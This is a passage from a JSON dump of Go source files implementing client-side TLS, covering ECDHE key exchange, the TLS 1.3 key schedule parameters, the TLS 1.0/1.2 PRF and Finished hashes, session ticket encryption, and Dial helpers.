serverECDHEParams)\n\n\tsignOpts := crypto.SignerOpts(sigHash)\n\tif sigType == signatureRSAPSS {\n\t\tsignOpts = &rsa.PSSOptions{SaltLength: rsa.PSSSaltLengthEqualsHash, Hash: sigHash}\n\t}\n\tsig, err := priv.Sign(config.rand(), signed, signOpts)\n\tif err != nil {\n\t\treturn nil, errors.New(\"tls: failed to sign ECDHE parameters: \" + err.Error())\n\t}\n\n\tskx := new(serverKeyExchangeMsg)\n\tsigAndHashLen := 0\n\tif ka.version >= VersionTLS12 {\n\t\tsigAndHashLen = 2\n\t}\n\tskx.key = make([]byte, len(serverECDHEParams)+sigAndHashLen+2+len(sig))\n\tcopy(skx.key, serverECDHEParams)\n\tk := skx.key[len(serverECDHEParams):]\n\tif ka.version >= VersionTLS12 {\n\t\tk[0] = byte(signatureAlgorithm >> 8)\n\t\tk[1] = byte(signatureAlgorithm)\n\t\tk = k[2:]\n\t}\n\tk[0] = byte(len(sig) >> 8)\n\tk[1] = byte(len(sig))\n\tcopy(k[2:], sig)\n\n\treturn skx, nil\n}\n\nfunc (ka *ecdheKeyAgreement) processClientKeyExchange(config *Config, cert *Certificate, ckx *clientKeyExchangeMsg, version uint16) ([]byte, error) {\n\tif len(ckx.ciphertext) == 0 || int(ckx.ciphertext[0]) != len(ckx.ciphertext)-1 {\n\t\treturn nil, errClientKeyExchange\n\t}\n\n\tpreMasterSecret := ka.params.SharedKey(ckx.ciphertext[1:])\n\tif preMasterSecret == nil {\n\t\treturn nil, errClientKeyExchange\n\t}\n\n\treturn preMasterSecret, nil\n}\n\nfunc (ka *ecdheKeyAgreement) processServerKeyExchange(config *Config, clientHello *clientHelloMsg, serverHello *serverHelloMsg, cert *x509.Certificate, skx *serverKeyExchangeMsg) error {\n\tif len(skx.key) < 4 {\n\t\treturn errServerKeyExchange\n\t}\n\tif skx.key[0] != 3 { // named curve\n\t\treturn errors.New(\"tls: server selected unsupported curve\")\n\t}\n\tcurveID := CurveID(skx.key[1])<<8 | CurveID(skx.key[2])\n\n\tpublicLen := int(skx.key[3])\n\tif publicLen+4 > len(skx.key) {\n\t\treturn errServerKeyExchange\n\t}\n\tserverECDHEParams := skx.key[:4+publicLen]\n\tpublicKey := serverECDHEParams[4:]\n\n\tsig := skx.key[4+publicLen:]\n\tif len(sig) < 2 {\n\t\treturn errServerKeyExchange\n\t}\n\n\tif _, ok := curveForCurveID(curveID); curveID != X25519 && !ok {\n\t\treturn errors.New(\"tls: server selected unsupported curve\")\n\t}\n\n\tparams, err := generateECDHEParameters(config.rand(), curveID)\n\tif err != nil {\n\t\treturn err\n\t}\n\tka.params = params\n\n\tka.preMasterSecret = params.SharedKey(publicKey)\n\tif ka.preMasterSecret == nil {\n\t\treturn errServerKeyExchange\n\t}\n\n\tourPublicKey := params.PublicKey()\n\tka.ckx = new(clientKeyExchangeMsg)\n\tka.ckx.ciphertext = make([]byte, 1+len(ourPublicKey))\n\tka.ckx.ciphertext[0] = byte(len(ourPublicKey))\n\tcopy(ka.ckx.ciphertext[1:], ourPublicKey)\n\n\tvar sigType uint8\n\tvar sigHash crypto.Hash\n\tif ka.version >= VersionTLS12 {\n\t\tsignatureAlgorithm := SignatureScheme(sig[0])<<8 | SignatureScheme(sig[1])\n\t\tsig = sig[2:]\n\t\tif len(sig) < 2 {\n\t\t\treturn errServerKeyExchange\n\t\t}\n\n\t\tif !isSupportedSignatureAlgorithm(signatureAlgorithm, clientHello.supportedSignatureAlgorithms) {\n\t\t\treturn errors.New(\"tls: certificate used with invalid signature algorithm\")\n\t\t}\n\t\tsigType, sigHash, err = typeAndHashFromSignatureScheme(signatureAlgorithm)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t} else {\n\t\tsigType, sigHash, err = legacyTypeAndHashFromPublicKey(cert.PublicKey)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tif (sigType == signaturePKCS1v15 || sigType == signatureRSAPSS) != ka.isRSA {\n\t\treturn errServerKeyExchange\n\t}\n\n\tsigLen := int(sig[0])<<8 | int(sig[1])\n\tif sigLen+2 != len(sig) {\n\t\treturn errServerKeyExchange\n\t}\n\tsig = sig[2:]\n\n\tsigned := hashForServerKeyExchange(sigType, sigHash, ka.version, clientHello.random, serverHello.random, serverECDHEParams)\n\tif err := verifyHandshakeSignature(sigType, cert.PublicKey, sigHash, signed, sig); err != nil {\n\t\treturn errors.New(\"tls: invalid signature by the server certificate: \" + err.Error())\n\t}\n\treturn nil\n}\n\nfunc (ka *ecdheKeyAgreement) generateClientKeyExchange(config *Config, clientHello *clientHelloMsg, cert *x509.Certificate) ([]byte, *clientKeyExchangeMsg, error) {\n\tif ka.ckx == nil {\n\t\treturn nil, nil, errors.New(\"tls: missing ServerKeyExchange message\")\n\t}\n\n\treturn ka.preMasterSecret, ka.ckx, nil\n}\n"
  },
  {
    "path": "tls/key_schedule.go",
    "content": "// Copyright 2018 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\npackage tls\n\nimport (\n\t\"crypto/elliptic\"\n\t\"errors\"\n\t\"io\"\n\t\"math/big\"\n\n\t\"golang.org/x/crypto/curve25519\"\n)\n\n// This file contains the functions necessary to compute the TLS 1.3 key\n// schedule. See RFC 8446, Section 7.\n\nconst (\n\tresumptionBinderLabel         = \"res binder\"\n\tclientHandshakeTrafficLabel   = \"c hs traffic\"\n\tserverHandshakeTrafficLabel   = \"s hs traffic\"\n\tclientApplicationTrafficLabel = \"c ap traffic\"\n\tserverApplicationTrafficLabel = \"s ap traffic\"\n\texporterLabel                 = \"exp master\"\n\tresumptionLabel               = \"res master\"\n\ttrafficUpdateLabel            = \"traffic upd\"\n)\n\n// ecdheParameters implements Diffie-Hellman with either NIST curves or X25519,\n// according to RFC 8446, Section 4.2.8.2.\ntype ecdheParameters interface {\n\tCurveID() CurveID\n\tPublicKey() []byte\n\tSharedKey(peerPublicKey []byte) []byte\n}\n\nfunc generateECDHEParameters(rand io.Reader, curveID CurveID) (ecdheParameters, error) {\n\tif curveID == X25519 {\n\t\tprivateKey := make([]byte, curve25519.ScalarSize)\n\t\tif _, err := io.ReadFull(rand, privateKey); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tpublicKey, err := curve25519.X25519(privateKey, curve25519.Basepoint)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn &x25519Parameters{privateKey: privateKey, publicKey: publicKey}, nil\n\t}\n\n\tcurve, ok := curveForCurveID(curveID)\n\tif !ok {\n\t\treturn nil, errors.New(\"tls: internal error: unsupported curve\")\n\t}\n\n\tp := &nistParameters{curveID: curveID}\n\tvar err error\n\tp.privateKey, p.x, p.y, err = elliptic.GenerateKey(curve, rand)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn p, nil\n}\n\nfunc curveForCurveID(id CurveID) (elliptic.Curve, bool) {\n\tswitch id {\n\tcase CurveP256:\n\t\treturn elliptic.P256(), true\n\tcase CurveP384:\n\t\treturn elliptic.P384(), true\n\tcase CurveP521:\n\t\treturn elliptic.P521(), true\n\tdefault:\n\t\treturn nil, false\n\t}\n}\n\ntype nistParameters struct {\n\tprivateKey []byte\n\tx, y       *big.Int // public key\n\tcurveID    CurveID\n}\n\nfunc (p *nistParameters) CurveID() CurveID {\n\treturn p.curveID\n}\n\nfunc (p *nistParameters) PublicKey() []byte {\n\tcurve, _ := curveForCurveID(p.curveID)\n\treturn elliptic.Marshal(curve, p.x, p.y)\n}\n\nfunc (p *nistParameters) SharedKey(peerPublicKey []byte) []byte {\n\tcurve, _ := curveForCurveID(p.curveID)\n\t// Unmarshal also checks whether the given point is on the curve.\n\tx, y := elliptic.Unmarshal(curve, peerPublicKey)\n\tif x == nil {\n\t\treturn nil\n\t}\n\n\txShared, _ := curve.ScalarMult(x, y, p.privateKey)\n\tsharedKey := make([]byte, (curve.Params().BitSize+7)>>3)\n\txBytes := xShared.Bytes()\n\tcopy(sharedKey[len(sharedKey)-len(xBytes):], xBytes)\n\n\treturn sharedKey\n}\n\ntype x25519Parameters struct {\n\tprivateKey []byte\n\tpublicKey  []byte\n}\n\nfunc (p *x25519Parameters) CurveID() CurveID {\n\treturn X25519\n}\n\nfunc (p *x25519Parameters) PublicKey() []byte {\n\treturn p.publicKey[:]\n}\n\nfunc (p *x25519Parameters) SharedKey(peerPublicKey []byte) []byte {\n\tsharedKey, err := curve25519.X25519(p.privateKey, peerPublicKey)\n\tif err != nil {\n\t\treturn nil\n\t}\n\treturn sharedKey\n}\n"
  },
  {
    "path": "tls/prf.go",
    "content": "// Copyright 2009 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\npackage tls\n\nimport (\n\t\"crypto\"\n\t\"crypto/hmac\"\n\t\"crypto/md5\"\n\t\"crypto/sha1\"\n\t\"crypto/sha256\"\n\t\"crypto/sha512\"\n\t\"errors\"\n\t\"fmt\"\n\t\"hash\"\n)\n\n// Split a premaster secret in two as specified in RFC 4346, Section 5.\nfunc splitPreMasterSecret(secret []byte) (s1, s2 []byte) {\n\ts1 = secret[0 : (len(secret)+1)/2]\n\ts2 = secret[len(secret)/2:]\n\treturn\n}\n\n// pHash implements the P_hash function, as defined in RFC 4346, Section 5.\nfunc pHash(result, secret, seed []byte, hash func() hash.Hash) {\n\th := hmac.New(hash, secret)\n\th.Write(seed)\n\ta := h.Sum(nil)\n\n\tj := 0\n\tfor j < len(result) {\n\t\th.Reset()\n\t\th.Write(a)\n\t\th.Write(seed)\n\t\tb := h.Sum(nil)\n\t\tcopy(result[j:], b)\n\t\tj += len(b)\n\n\t\th.Reset()\n\t\th.Write(a)\n\t\ta = h.Sum(nil)\n\t}\n}\n\n// prf10 implements the TLS 1.0 pseudo-random function, as defined in RFC 2246, Section 5.\nfunc prf10(result, secret, label, seed []byte) {\n\thashSHA1 := sha1.New\n\thashMD5 := md5.New\n\n\tlabelAndSeed := make([]byte, len(label)+len(seed))\n\tcopy(labelAndSeed, label)\n\tcopy(labelAndSeed[len(label):], seed)\n\n\ts1, s2 := splitPreMasterSecret(secret)\n\tpHash(result, s1, labelAndSeed, hashMD5)\n\tresult2 := make([]byte, len(result))\n\tpHash(result2, s2, labelAndSeed, hashSHA1)\n\n\tfor i, b := range result2 {\n\t\tresult[i] ^= b\n\t}\n}\n\n// prf12 implements the TLS 1.2 pseudo-random function, as defined in RFC 5246, Section 5.\nfunc prf12(hashFunc func() hash.Hash) func(result, secret, label, seed []byte) {\n\treturn func(result, secret, label, seed []byte) {\n\t\tlabelAndSeed := make([]byte, len(label)+len(seed))\n\t\tcopy(labelAndSeed, label)\n\t\tcopy(labelAndSeed[len(label):], seed)\n\n\t\tpHash(result, secret, labelAndSeed, hashFunc)\n\t}\n}\n\nconst (\n\tmasterSecretLength   = 48 // Length of a master secret in TLS 1.1.\n\tfinishedVerifyLength = 12 // Length of verify_data in a Finished message.\n)\n\nvar masterSecretLabel = []byte(\"master secret\")\nvar keyExpansionLabel = []byte(\"key expansion\")\nvar clientFinishedLabel = []byte(\"client finished\")\nvar serverFinishedLabel = []byte(\"server finished\")\n\nfunc prfAndHashForVersion(version uint16, suite *cipherSuite) (func(result, secret, label, seed []byte), crypto.Hash) {\n\tswitch version {\n\tcase VersionTLS10, VersionTLS11:\n\t\treturn prf10, crypto.Hash(0)\n\tcase VersionTLS12:\n\t\tif suite.flags&suiteSHA384 != 0 {\n\t\t\treturn prf12(sha512.New384), crypto.SHA384\n\t\t}\n\t\treturn prf12(sha256.New), crypto.SHA256\n\tdefault:\n\t\tpanic(\"unknown version\")\n\t}\n}\n\nfunc prfForVersion(version uint16, suite *cipherSuite) func(result, secret, label, seed []byte) {\n\tprf, _ := prfAndHashForVersion(version, suite)\n\treturn prf\n}\n\n// masterFromPreMasterSecret generates the master secret from the pre-master\n// secret. See RFC 5246, Section 8.1.\nfunc masterFromPreMasterSecret(version uint16, suite *cipherSuite, preMasterSecret, clientRandom, serverRandom []byte) []byte {\n\tseed := make([]byte, 0, len(clientRandom)+len(serverRandom))\n\tseed = append(seed, clientRandom...)\n\tseed = append(seed, serverRandom...)\n\n\tmasterSecret := make([]byte, masterSecretLength)\n\tprfForVersion(version, suite)(masterSecret, preMasterSecret, masterSecretLabel, seed)\n\treturn masterSecret\n}\n\n// keysFromMasterSecret generates the connection keys from the master\n// secret, given the lengths of the MAC key, cipher key and IV, as defined in\n// RFC 2246, Section 6.3.\nfunc keysFromMasterSecret(version uint16, suite *cipherSuite, masterSecret, clientRandom, serverRandom []byte, macLen, keyLen, ivLen int) (clientMAC, serverMAC, clientKey, serverKey, clientIV, serverIV []byte) {\n\tseed := make([]byte, 0, len(serverRandom)+len(clientRandom))\n\tseed = append(seed, serverRandom...)\n\tseed = append(seed, clientRandom...)\n\n\tn := 2*macLen + 2*keyLen + 2*ivLen\n\tkeyMaterial := make([]byte, n)\n\tprfForVersion(version, suite)(keyMaterial, masterSecret, keyExpansionLabel, seed)\n\tclientMAC = keyMaterial[:macLen]\n\tkeyMaterial = keyMaterial[macLen:]\n\tserverMAC = keyMaterial[:macLen]\n\tkeyMaterial = keyMaterial[macLen:]\n\tclientKey = keyMaterial[:keyLen]\n\tkeyMaterial = keyMaterial[keyLen:]\n\tserverKey = keyMaterial[:keyLen]\n\tkeyMaterial = keyMaterial[keyLen:]\n\tclientIV = keyMaterial[:ivLen]\n\tkeyMaterial = keyMaterial[ivLen:]\n\tserverIV = keyMaterial[:ivLen]\n\treturn\n}\n\nfunc newFinishedHash(version uint16, cipherSuite *cipherSuite) finishedHash {\n\tvar buffer []byte\n\tif version >= VersionTLS12 {\n\t\tbuffer = []byte{}\n\t}\n\n\tprf, hash := prfAndHashForVersion(version, cipherSuite)\n\tif hash != 0 {\n\t\treturn finishedHash{hash.New(), hash.New(), nil, nil, buffer, version, prf}\n\t}\n\n\treturn finishedHash{sha1.New(), sha1.New(), md5.New(), md5.New(), buffer, version, prf}\n}\n\n// A finishedHash calculates the hash of a set of handshake messages suitable\n// for including in a Finished message.\ntype finishedHash struct {\n\tclient hash.Hash\n\tserver hash.Hash\n\n\t// Prior to TLS 1.2, an additional MD5 hash is required.\n\tclientMD5 hash.Hash\n\tserverMD5 hash.Hash\n\n\t// In TLS 1.2, a full buffer is sadly required.\n\tbuffer []byte\n\n\tversion uint16\n\tprf     func(result, secret, label, seed []byte)\n}\n\nfunc (h *finishedHash) Write(msg []byte) (n int, err error) {\n\th.client.Write(msg)\n\th.server.Write(msg)\n\n\tif h.version < VersionTLS12 {\n\t\th.clientMD5.Write(msg)\n\t\th.serverMD5.Write(msg)\n\t}\n\n\tif h.buffer != nil {\n\t\th.buffer = append(h.buffer, msg...)\n\t}\n\n\treturn len(msg), nil\n}\n\nfunc (h finishedHash) Sum() []byte {\n\tif h.version >= VersionTLS12 {\n\t\treturn h.client.Sum(nil)\n\t}\n\n\tout := make([]byte, 0, md5.Size+sha1.Size)\n\tout = h.clientMD5.Sum(out)\n\treturn h.client.Sum(out)\n}\n\n// clientSum returns the contents of the verify_data member of a client's\n// Finished message.\nfunc (h finishedHash) clientSum(masterSecret []byte) []byte {\n\tout := make([]byte, finishedVerifyLength)\n\th.prf(out, masterSecret, clientFinishedLabel, h.Sum())\n\treturn out\n}\n\n// serverSum returns the contents of the verify_data member of a server's\n// Finished message.\nfunc (h finishedHash) serverSum(masterSecret []byte) []byte {\n\tout := make([]byte, finishedVerifyLength)\n\th.prf(out, masterSecret, serverFinishedLabel, h.Sum())\n\treturn out\n}\n\n// hashForClientCertificate returns the handshake messages so far, pre-hashed if\n// necessary, suitable for signing by a TLS client certificate.\nfunc (h finishedHash) hashForClientCertificate(sigType uint8, hashAlg crypto.Hash) []byte {\n\tif (h.version >= VersionTLS12 || sigType == signatureEd25519) && h.buffer == nil {\n\t\tpanic(\"tls: handshake hash for a client certificate requested after discarding the handshake buffer\")\n\t}\n\n\tif sigType == signatureEd25519 {\n\t\treturn h.buffer\n\t}\n\n\tif h.version >= VersionTLS12 {\n\t\thash := hashAlg.New()\n\t\thash.Write(h.buffer)\n\t\treturn hash.Sum(nil)\n\t}\n\n\tif sigType == signatureECDSA {\n\t\treturn h.server.Sum(nil)\n\t}\n\n\treturn h.Sum()\n}\n\n// discardHandshakeBuffer is called when there is no more need to\n// buffer the entirety of the handshake messages.\nfunc (h *finishedHash) discardHandshakeBuffer() {\n\th.buffer = nil\n}\n\n// noExportedKeyingMaterial is used as a value of\n// ConnectionState.ekm when renegotiation is enabled and thus\n// we wish to fail all key-material export requests.\nfunc noExportedKeyingMaterial(label string, context []byte, length int) ([]byte, error) {\n\treturn nil, errors.New(\"crypto/tls: ExportKeyingMaterial is unavailable when renegotiation is enabled\")\n}\n\n// ekmFromMasterSecret generates exported keying material as defined in RFC 5705.\nfunc ekmFromMasterSecret(version uint16, suite *cipherSuite, masterSecret, clientRandom, serverRandom []byte) func(string, []byte, int) ([]byte, error) {\n\treturn func(label string, context []byte, length int) ([]byte, error) {\n\t\tswitch label {\n\t\tcase \"client finished\", \"server finished\", \"master secret\", \"key expansion\":\n\t\t\t// These values are reserved and may not be used.\n\t\t\treturn nil, fmt.Errorf(\"crypto/tls: reserved ExportKeyingMaterial label: %s\", label)\n\t\t}\n\n\t\tseedLen := len(serverRandom) + len(clientRandom)\n\t\tif context != nil {\n\t\t\tseedLen += 2 + len(context)\n\t\t}\n\t\tseed := make([]byte, 0, seedLen)\n\n\t\tseed = append(seed, clientRandom...)\n\t\tseed = append(seed, serverRandom...)\n\n\t\tif context != nil {\n\t\t\tif len(context) >= 1<<16 {\n\t\t\t\treturn nil, fmt.Errorf(\"crypto/tls: ExportKeyingMaterial context too long\")\n\t\t\t}\n\t\t\tseed = append(seed, byte(len(context)>>8), byte(len(context)))\n\t\t\tseed = append(seed, context...)\n\t\t}\n\n\t\tkeyMaterial := make([]byte, length)\n\t\tprfForVersion(version, suite)(keyMaterial, masterSecret, []byte(label), seed)\n\t\treturn keyMaterial, nil\n\t}\n}\n"
  },
  {
    "path": "tls/ticket.go",
    "content": "// Copyright 2012 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\npackage tls\n\nimport (\n\t\"bytes\"\n\t\"crypto/aes\"\n\t\"crypto/cipher\"\n\t\"crypto/hmac\"\n\t\"crypto/sha256\"\n\t\"crypto/subtle\"\n\t\"errors\"\n\t\"io\"\n)\n\nfunc (c *Conn) encryptTicket(state []byte) ([]byte, error) {\n\tencrypted := make([]byte, ticketKeyNameLen+aes.BlockSize+len(state)+sha256.Size)\n\tkeyName := encrypted[:ticketKeyNameLen]\n\tiv := encrypted[ticketKeyNameLen : ticketKeyNameLen+aes.BlockSize]\n\tmacBytes := encrypted[len(encrypted)-sha256.Size:]\n\n\tif _, err := io.ReadFull(c.config.rand(), iv); err != nil {\n\t\treturn nil, err\n\t}\n\tkey := c.config.ticketKeys()[0]\n\tcopy(keyName, key.keyName[:])\n\tblock, err := aes.NewCipher(key.aesKey[:])\n\tif err != nil {\n\t\treturn nil, errors.New(\"tls: failed to create cipher while encrypting ticket: \" + err.Error())\n\t}\n\tcipher.NewCTR(block, iv).XORKeyStream(encrypted[ticketKeyNameLen+aes.BlockSize:], state)\n\n\tmac := hmac.New(sha256.New, key.hmacKey[:])\n\tmac.Write(encrypted[:len(encrypted)-sha256.Size])\n\tmac.Sum(macBytes[:0])\n\n\treturn encrypted, nil\n}\n\nfunc (c *Conn) decryptTicket(encrypted []byte) (plaintext []byte, usedOldKey bool) {\n\tif len(encrypted) < ticketKeyNameLen+aes.BlockSize+sha256.Size {\n\t\treturn nil, false\n\t}\n\n\tkeyName := encrypted[:ticketKeyNameLen]\n\tiv := encrypted[ticketKeyNameLen : ticketKeyNameLen+aes.BlockSize]\n\tmacBytes := encrypted[len(encrypted)-sha256.Size:]\n\tciphertext := encrypted[ticketKeyNameLen+aes.BlockSize : len(encrypted)-sha256.Size]\n\n\tkeys := c.config.ticketKeys()\n\tkeyIndex := -1\n\tfor i, candidateKey := range keys {\n\t\tif bytes.Equal(keyName, candidateKey.keyName[:]) {\n\t\t\tkeyIndex = i\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif keyIndex == -1 {\n\t\treturn nil, false\n\t}\n\tkey := &keys[keyIndex]\n\n\tmac := hmac.New(sha256.New, key.hmacKey[:])\n\tmac.Write(encrypted[:len(encrypted)-sha256.Size])\n\texpected := mac.Sum(nil)\n\n\tif subtle.ConstantTimeCompare(macBytes, expected) != 1 {\n\t\treturn nil, false\n\t}\n\n\tblock, err := aes.NewCipher(key.aesKey[:])\n\tif err != nil {\n\t\treturn nil, false\n\t}\n\tplaintext = make([]byte, len(ciphertext))\n\tcipher.NewCTR(block, iv).XORKeyStream(plaintext, ciphertext)\n\n\treturn plaintext, keyIndex > 0\n}\n"
  },
  {
    "path": "tls/tls.go",
    "content": "// Copyright 2009 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\n// Package tls partially implements TLS 1.2, as specified in RFC 5246,\n// and TLS 1.3, as specified in RFC 8446.\npackage tls\n\n// BUG(agl): The crypto/tls package only implements some countermeasures\n// against Lucky13 attacks on CBC-mode encryption, and only on SHA1\n// variants. See http://www.isg.rhul.ac.uk/tls/TLStiming.pdf and\n// https://www.imperialviolet.org/2013/02/04/luckythirteen.html.\n\nimport (\n\t\"net\"\n\t\"strings\"\n\t\"time\"\n)\n\n// Client returns a new TLS client side connection\n// using conn as the underlying transport.\n// The config cannot be nil: users must set either ServerName or\n// InsecureSkipVerify in the config.\nfunc Client(conn net.Conn, config *Config) *Conn {\n\treturn &Conn{conn: conn, config: config}\n}\n\ntype timeoutError struct{}\n\nfunc (timeoutError) Error() string   { return \"tls: DialWithDialer timed out\" }\nfunc (timeoutError) Timeout() bool   { return true }\nfunc (timeoutError) Temporary() bool { return true }\n\n// DialWithDialer connects to the given network address using dialer.Dial and\n// then initiates a TLS handshake, returning the resulting TLS connection. Any\n// timeout or deadline given in the dialer apply to connection and TLS\n// handshake as a whole.\n//\n// DialWithDialer interprets a nil configuration as equivalent to the zero\n// configuration; see the documentation of Config for the defaults.\nfunc DialWithDialer(dialer *net.Dialer, network, addr string, config *Config) (*Conn, error) {\n\t// We want the Timeout and Deadline values from dialer to cover the\n\t// whole process: TCP connection and TLS handshake. This means that we\n\t// also need to start our own timers now.\n\ttimeout := dialer.Timeout\n\n\tif !dialer.Deadline.IsZero() {\n\t\tdeadlineTimeout := time.Until(dialer.Deadline)\n\t\tif timeout == 0 || deadlineTimeout < timeout {\n\t\t\ttimeout = deadlineTimeout\n\t\t}\n\t}\n\n\tvar errChannel chan error\n\n\tif timeout != 0 {\n\t\terrChannel = make(chan error, 2)\n\t\ttimer := time.AfterFunc(timeout, func() {\n\t\t\terrChannel <- timeoutError{}\n\t\t})\n\t\tdefer timer.Stop()\n\t}\n\n\trawConn, err := dialer.Dial(network, addr)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcolonPos := strings.LastIndex(addr, \":\")\n\tif colonPos == -1 {\n\t\tcolonPos = len(addr)\n\t}\n\thostname := addr[:colonPos]\n\n\tif config == nil {\n\t\tconfig = defaultConfig()\n\t}\n\t// If no ServerName is set, infer the ServerName\n\t// from the hostname we're connecting to.\n\tif config.ServerName == \"\" {\n\t\t// Make a copy to avoid polluting argument or default.\n\t\tc := config.Clone()\n\t\tc.ServerName = hostname\n\t\tconfig = c\n\t}\n\n\tconn := Client(rawConn, config)\n\n\tif timeout == 0 {\n\t\terr = conn.Handshake()\n\t} else {\n\t\tgo func() {\n\t\t\terrChannel <- conn.Handshake()\n\t\t}()\n\n\t\terr = <-errChannel\n\t}\n\n\tif err != nil {\n\t\trawConn.Close()\n\t\treturn nil, err\n\t}\n\n\treturn conn, nil\n}\n\n// Dial connects to the given network address using net.Dial\n// and then initiates a TLS handshake, returning the resulting\n// TLS connection.\n// Dial interprets a nil configuration as equivalent to\n// the zero configuration; see the documentation of Config\n// for the defaults.\nfunc Dial(network, addr string, config *Config) (*Conn, error) {\n\treturn DialWithDialer(new(net.Dialer), network, addr, config)\n}\n"
  }
]